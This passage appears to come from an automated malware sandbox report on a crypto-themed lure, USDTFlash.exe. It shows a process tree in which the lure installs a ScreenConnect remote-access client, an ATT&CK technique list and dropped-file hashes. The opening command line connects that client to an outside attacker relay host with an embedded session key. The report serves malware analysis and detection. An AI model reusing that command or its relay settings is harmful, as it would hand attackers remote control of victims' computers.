                                                          "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.vahelps.top&p=8041&s=bb212036-9f37-46ca-99ab-ac42f37709e0&k=BgIAAACkAABSU0ExAAgAAAEAAQDhaIar%2bL1KV6GFRlxD7tSQHmgDc5%2bEmz%2bwlbQzwsSBftaKd12u%2bGO%2bh%2bY2hEFVX3Zh17GjJ6Gv%2b2BSJZQ6Ml7neNCJsbKaTGZJ72D12CtD%2b5goZGgHiRpiK%2fdZvtUn2pEZ%2b02WgN%2bFlOPeEVqujt9WSSwilh45puSR3wk5Bcek%2bAJ7DSFc8w2dKB8lMB%2b9Sut13ZAuQGU54iXcCAQKW2FzC%2bdWR6rWMLyLu0Qhovk5WQMHa1gP0VO4sj6hFlzpnPKhV5otTXkkA9Se9MHQ%2fVwzc7LAXB%2fWL51gKwL1KSNJ4JEjPQI46RPKUGEgY7vXp1o49EPqOwAn04LE4Ucaq1K0&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAokFQDM4%2bw0%2bEzCeXG6QzxAAAAAACAAAAAAAQZgAAAAEAACAAAADgeT83M%2f34U%2bOreuKiNmlyT7Kyq4KuE%2bSS%2bF6p4KQBzAAAAAAOgAAAAAIAACAAAAAgsaSj3u4PAH11F0QJfWM2gKKseDBoObBO2KFQasP2pKAEAAABgwz8yK0DkwlI9bHqIfbQw%2fRoyvtl%2f572N%2bq3HEvBp0Gkqg0j2nBLTztxhpqFy4tMPG9Hxpp0k2b%2bxVzJXglPXJ1iZj%2f9qecbtUuIWJKr0Kjj0gNz8VyAx8Kq0z0mTle3Pg0zRGse%2f4quQCXP0boHQzcQaWJtURAkBH03sygrUGNIsvyCfBtifq9V6dJqxkhvm%2fsYzce9Qyy%2fOUcAtZMQlhyCEkGXUc1Og5H4zqkSXHBHp%2folntGNBgtV1gRQuxCkOSkUsyhrvwXc1UZ32KPZY6mzZuGjxrmmg3RJv3RuORfeVtumN2yROLKV%2bOk5FKdReXsAxIbnpqyou6AlrosWrSZy75bWU8ersca%2fuDpYNnTWsjA32lAd5zMEq3ovhveHayUIKc8XkW1LEviXT1Zr9hG5ZzTeAWWWn52HrE0%2bXSlaxReJcEH%2beQPe93J42rB56qEwLNolz%2be02KBPJewJ739UIyUrRGvjnKc5AvLKAgPgKCJRTw9sNgFyb9FUYg9XQmYnv127Kj6%2bqypY%2fsy5hDBeJaZ0DWf5WiX5aenfoJRsM%2b57ZobAATK5LWVxHbr8qMpqTmNV4wW4KoaboY3ir2l6hNVIvvv6gNLb%2b44BZKzlANcSrLPGG1jg8u1vooA59JJzaK2kwjdi%2bsw5nfDavLYYMw1i5aD8nVHzDIWruIGRHxCKjWko9aRqHmnCrpRVhzPwzE9oLt9rqCkkpusM9NzH25WPzea5tpEN58LY6rbg3RGoE5nkZQEqbzY%2fysHDPBk5BeAy5%2fUj3d8fbxhR1zOK82xQS1ug3Z4tBuL6EPV4Pq1BSZ7G41eiM%2fZeRU4X7rWgJXE9%2bKaFx42hHHBSNUpT0KEp0yW39D5EcFRZmOmx%2fUz%2bn6Uqbk31rcvcxv9esoYqejXLMXF2t%2fdC0wB7xxEEQlSDKfjNnppjxBNx%2f2DI%2bNlh3Fo64NISf1PipJTnfjrdvQZkpb6O2nXvyMsXKGDslL%2fSfUTmNksWohyvW6EdT3qWivNMXK4Lird3Kfhr9S43Tm5Nh3MO82ktGyzl6wLEBBwRsO0tru7GHhHmVRDXcNGG%2faip5BsB5sJdnFCHN6ANM5P1KvBzIFzUv87wZuSdT45ZEJNNioNCL7ujYu%2fxOEUE5ea5vDm75%2fJLCqPYG43%2bIIVm8vOo8Ok67T9QQnXg9jb34qgu8hk4tvDxOJwuEqreDwNk%2fQGXg7lPkuhcBNUKjled6V7vRJ%2fwzmL4aLKxNdOB2001NKJUglt19ma7i8zscAuxNcxlbc1GcV8EXDnmDIQTf1o1jV%2fJr54pjm6aIsShr6DWkT6DKpEpn9JDmgk48rf8l52KrkX2oPsR5nr%2f2ndnxRmOpPKvQsPgGFhg8bxu0nKJ86axiAmsIajYIHkOnPEQehXGbwztED0vvccPSbG8mcGprE7%2f1C30%2bDbQ%2fToB5Lb9ZBTkmSROa8rSHvtZ6r3WLYCVDCgZnWwRBy3COg8R5bTOfz2vh7QhmQcDodJdexmbu52%2bARaUILBf4HhTZBvHZQgfd0F4ckddVKKl2n6r9QdPu1mr803yMg29nkXOBaAzxo3gTlc0W0AAAADoFFs87XQa6Eg0H6xllB3R%2fKg89oA8YthZyXkBK2eerrxogWh7DI%2fLmir86NTUUIeDMFS9J5gczH9JN6tYaGnZ&t=FLASHUSDT"
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          • Modifies data under HKEY_USERS
                                                          PID:4708
                                                          • C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe
                                                            "C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe" "RunRole" "b12c0afe-1dfe-41b1-841a-d2b5a593a6d7" "User"
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:788
                                                        • C:\Users\Admin\AppData\Local\Temp\a\USDTFlash.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\a\USDTFlash.exe"
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2468
                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi"
                                                            2⤵
                                                            • Enumerates connected drives
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2968
                                                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\MicrosoftEdge_X64_133.0.3065.59.exe
                                                          "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\MicrosoftEdge_X64_133.0.3065.59.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
                                                          1⤵
                                                            PID:4992
                                                            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe
                                                              "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\MicrosoftEdge_X64_133.0.3065.59.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
                                                              2⤵
                                                              • Boot or Logon Autostart Execution: Active Setup
                                                              • Executes dropped EXE
                                                              • Installs/modifies Browser Helper Object
                                                              • Drops file in Program Files directory
                                                              • Drops file in Windows directory
                                                              • Modifies Internet Explorer settings
                                                              • Modifies data under HKEY_USERS
                                                              • Modifies registry class
                                                              • System policy modification
                                                              PID:4560
                                                              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe
                                                                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff65c066a68,0x7ff65c066a74,0x7ff65c066a80
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Drops file in Windows directory
                                                                PID:1996
                                                              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe
                                                                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe" --msedge --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Drops file in System32 directory
                                                                • Drops file in Windows directory
                                                                • Modifies data under HKEY_USERS
                                                                PID:2188
                                                                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe
                                                                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{77BEDA41-7D52-4721-8930-2E1ACD91DCB9}\EDGEMITMP_39C84.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff65c066a68,0x7ff65c066a74,0x7ff65c066a80
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Drops file in Windows directory
                                                                  PID:2220
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --register-package-identity --verbose-logging --system-level
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Drops file in Program Files directory
                                                                • Drops file in Windows directory
                                                                PID:3264
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6ad4e6a68,0x7ff6ad4e6a74,0x7ff6ad4e6a80
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Drops file in Windows directory
                                                                  PID:2652
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --remove-deprecated-packages --verbose-logging --system-level
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Drops file in Windows directory
                                                                PID:3260
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6ad4e6a68,0x7ff6ad4e6a74,0x7ff6ad4e6a80
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Drops file in Windows directory
                                                                  PID:1512
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --update-game-assist-package --verbose-logging --system-level
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Drops file in Windows directory
                                                                PID:2128
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6ad4e6a68,0x7ff6ad4e6a74,0x7ff6ad4e6a80
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Drops file in Windows directory
                                                                  PID:424

                                                          Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Reconnaissance

                                                                Resource Development

                                                                Initial Access

                                                                Execution

                                                                Persistence

                                                                Boot or Logon Autostart Execution

                                                                3
                                                                T1547

                                                                Active Setup

                                                                1
                                                                T1547.014

                                                                Authentication Package

                                                                1
                                                                T1547.002

                                                                Registry Run Keys / Startup Folder

                                                                1
                                                                T1547.001

                                                                Browser Extensions

                                                                1
                                                                T1176

                                                                Event Triggered Execution

                                                                1
                                                                T1546

                                                                Component Object Model Hijacking

                                                                1
                                                                T1546.015

                                                                Modify Authentication Process

                                                                1
                                                                T1556

                                                                Privilege Escalation

                                                                Boot or Logon Autostart Execution

                                                                3
                                                                T1547

                                                                Active Setup

                                                                1
                                                                T1547.014

                                                                Authentication Package

                                                                1
                                                                T1547.002

                                                                Registry Run Keys / Startup Folder

                                                                1
                                                                T1547.001

                                                                Event Triggered Execution

                                                                1
                                                                T1546

                                                                Component Object Model Hijacking

                                                                1
                                                                T1546.015

                                                                Defense Evasion

                                                                Modify Authentication Process

                                                                1
                                                                T1556

                                                                Modify Registry

                                                                5
                                                                T1112

                                                                Credential Access

                                                                Credentials from Password Stores

                                                                1
                                                                T1555

                                                                Credentials from Web Browsers

                                                                1
                                                                T1555.003

                                                                Modify Authentication Process

                                                                1
                                                                T1556

                                                                Steal Web Session Cookie

                                                                1
                                                                T1539

                                                                Unsecured Credentials

                                                                4
                                                                T1552

                                                                Credentials In Files

                                                                4
                                                                T1552.001

                                                                Discovery

                                                                Browser Information Discovery

                                                                1
                                                                T1217

                                                                Peripheral Device Discovery

                                                                2
                                                                T1120

                                                                Query Registry

                                                                6
                                                                T1012

                                                                System Information Discovery

                                                                5
                                                                T1082

                                                                System Location Discovery

                                                                1
                                                                T1614

                                                                System Language Discovery

                                                                1
                                                                T1614.001

                                                                System Network Configuration Discovery

                                                                1
                                                                T1016

                                                                Internet Connection Discovery

                                                                1
                                                                T1016.001

                                                                Lateral Movement

                                                                Collection

                                                                Data from Local System

                                                                3
                                                                T1005

                                                                Command and Control

                                                                Web Service

                                                                1
                                                                T1102

                                                                Exfiltration

                                                                Impact

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                e61bbee.rbs
                                                                • Path C:\Config.Msi\e61bbee.rbs
                                                                • Size 214KB
                                                                • SHA256 2bc3fd163ef2d30d9774cf6cf456f8065e85901734aad3599f2768b1b7dad6bb
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e61bbf3.rbs
                                                                • Path C:\Config.Msi\e61bbf3.rbs
                                                                • Size 18KB
                                                                • SHA256 6e3b03462855f937f87bfbf8513cf0142eac64fac23b697e0040864edf45183d
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e61bc05.rbs
                                                                • Path C:\Config.Msi\e61bc05.rbs
                                                                • Size 214KB
                                                                • SHA256 c34f8e70fee2fdfd8771c04732556d6494e224e9eb24ebe510c130b89d9bfb23
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e61bc07.rbs
                                                                • Path C:\Config.Msi\e61bc07.rbs
                                                                • Size 3KB
                                                                • SHA256 a3927a21dd40f682e2ae097c03ebb7a0359cbd5214e1096a3ffd98b4f01b8cdc
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                e61bc0b.rbs
                                                                • Path C:\Config.Msi\e61bc0b.rbs
                                                                • Size 18KB
                                                                • SHA256 1999a57d75eceffa77e77f65582adf164fefa9e5086795e1141cf064f99ec52d
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e61bc1d.rbs
                                                                • Path C:\Config.Msi\e61bc1d.rbs
                                                                • Size 214KB
                                                                • SHA256 147380d525349ba805f360825c93822d2eaddb1edbaaa69c54ef91f426bbf83b
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e61bc1f.rbs
                                                                • Path C:\Config.Msi\e61bc1f.rbs
                                                                • Size 3KB
                                                                • SHA256 e1da5782ab35772c1601c04c83b9947f3a47c0518242ed17e1154f230e9121ea
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                e61bc23.rbs
                                                                • Path C:\Config.Msi\e61bc23.rbs
                                                                • Size 18KB
                                                                • SHA256 5cdc1f976a01ec8311871e3a4c6de4c897bb022a7dd077aeaf007cb4f35c0914
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e61bc35.rbs
                                                                • Path C:\Config.Msi\e61bc35.rbs
                                                                • Size 214KB
                                                                • SHA256 c989cc33e3fd1f3bd979ee68b03580e4a25ae1779ca8eb3312a88a7fa6583cd4
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e71f62c.rbs
                                                                • Path C:\Config.Msi\e71f62c.rbs
                                                                • Size 18KB
                                                                • SHA256 ee65e24be612d3bbf84b6311c751f1685f644534222edf7c5af701fbeb2410c4
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e71f63e.rbs
                                                                • Path C:\Config.Msi\e71f63e.rbs
                                                                • Size 214KB
                                                                • SHA256 190d0def9ddf074d6d325827b0180c5aa1e7708cc342da9ab8d9e132148ca7da
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                e71f640.rbs
                                                                • Path C:\Config.Msi\e71f640.rbs
                                                                • Size 3KB
                                                                • SHA256 810c0dc41501065648203b4192267eefdd44f9e460df0b05a169051a57e14088
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                setup.exe
                                                                • Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.59\Installer\setup.exe
                                                                • Size 6.8MB
                                                                • SHA256 ce78ccfb0c9cdb06ea61116bc57e50690650b6b5cf37c1aebfb30c19458ee4ae
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                Client.en-US.resources
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\Client.en-US.resources
                                                                • Size 48KB
                                                                • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                Client.resources
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\Client.resources
                                                                • Size 26KB
                                                                • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.Client.dll
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.Client.dll
                                                                • Size 192KB
                                                                • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.ClientService.dll
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.dll
                                                                • Size 66KB
                                                                • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.ClientService.exe
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.ClientService.exe
                                                                • Size 93KB
                                                                • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.WindowsAuthenticationPackage.dll
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsAuthenticationPackage.dll
                                                                • Size 254KB
                                                                • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.WindowsBackstageShell.exe
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsBackstageShell.exe
                                                                • Size 59KB
                                                                • SHA256 e25f32ba3fa32fd0ddd99eb65b26835e30829b5e4b58573690aa717e093a5d8f
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.WindowsClient.exe
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe
                                                                • Size 588KB
                                                                • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.WindowsClient.exe.config
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsClient.exe.config
                                                                • Size 266B
                                                                • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                ScreenConnect.WindowsCredentialProvider.dll
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsCredentialProvider.dll
                                                                • Size 822KB
                                                                • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.WindowsFileManager.exe
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\ScreenConnect.WindowsFileManager.exe
                                                                • Size 79KB
                                                                • SHA256 ebd04a4540d6e76776bd58deea627345d0f8fba2c04cc65be5e979a8a67a62a1
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                app.config
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\app.config
                                                                • Size 2KB
                                                                • SHA256 9aad8e47d0105531e07b1cf65719ae49e080e686c2e1e220e9efc009c411bf92
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                system.config
                                                                • Path C:\Program Files (x86)\ScreenConnect Client (e9736d81e38965d1)\system.config
                                                                • Size 955B
                                                                • SHA256 f89beb98979ae11ea99f9de1ccc525c8c50d8e4337a58beab030b0268437f4dc
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                SCT Auditing Pending Reports
                                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                • Size 2B
                                                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                rundll32.exe.log
                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log
                                                                • Size 746B
                                                                • SHA256 76ced2c52d647683572ceac0687933e96e198b5a6f998457fa334763cc1ef978
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                settings.dat
                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                • Size 152B
                                                                • SHA256 76f12449d962e2a9edb79b87dc952b63996e175c56876e82d8b278f1ca4a967b
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                settings.dat
                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                • Size 152B
                                                                • SHA256 5ff0c55032b921b8de62351bac8575b4db7e03594e0e478055f2f5db8a8651e2
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                Preferences
                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                • Size 5KB
                                                                • SHA256 fd003845711559e5b86c5df5dd90f1add3a53fe6b386c5e5bdbfbd6465a04755
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                data_1
                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
                                                                • Size 264KB
                                                                • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                MSI85D9.tmp
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSI85D9.tmp
                                                                • Size 1.0MB
                                                                • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                Microsoft.Deployment.WindowsInstaller.dll
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSI85D9.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                                                                • Size 172KB
                                                                • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.Core.dll
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSI85D9.tmp-\ScreenConnect.Core.dll
                                                                • Size 536KB
                                                                • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.InstallerActions.dll
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSI85D9.tmp-\ScreenConnect.InstallerActions.dll
                                                                • Size 11KB
                                                                • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.Windows.dll
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSI85D9.tmp-\ScreenConnect.Windows.dll
                                                                • Size 1.6MB
                                                                • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                Microsoft.Deployment.Compression.Cab.dll
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSICF57.tmp-\Microsoft.Deployment.Compression.Cab.dll
                                                                • Size 48KB
                                                                • SHA256 9d32032109ffc217b7dc49390bd01a067a49883843459356ebfb4d29ba696bf8
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                Microsoft.Deployment.Compression.dll
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSICF57.tmp-\Microsoft.Deployment.Compression.dll
                                                                • Size 36KB
                                                                • SHA256 e04de7988a2a39931831977fa22d2a4c39cf3f70211b77b618cae9243170f1a7
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                Microsoft.Deployment.WindowsInstaller.Package.dll
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSICF57.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll
                                                                • Size 56KB
                                                                • SHA256 548c551f6ebc5d829158a1e9ad1948d301d7c921906c3d8d6b6d69925fc624a1
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                CustomAction.config
                                                                • Path C:\Users\Admin\AppData\Local\Temp\MSIE713.tmp-\CustomAction.config
                                                                • Size 234B
                                                                • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
                                                                • MD5 SHA1 SHA512
                                                                Submit Download

                                                                ScreenConnect.ClientSetup.msi
                                                                • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi
                                                                • Size 9.5MB
                                                                • SHA256 c9a2223eece64c9a9bda6698ee41fd7884905cd4aebfd4e43d33bb6da15eb8b7
                                                                • MD5 SHA1 SHA512 SSDEEP
                                                                Submit Download

                                                                ScreenConnect.ClientSetup.msi
                                                                • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\e9736d81e38965d1\ScreenConnect.ClientSetup.msi
                                                                • Size 9.5MB
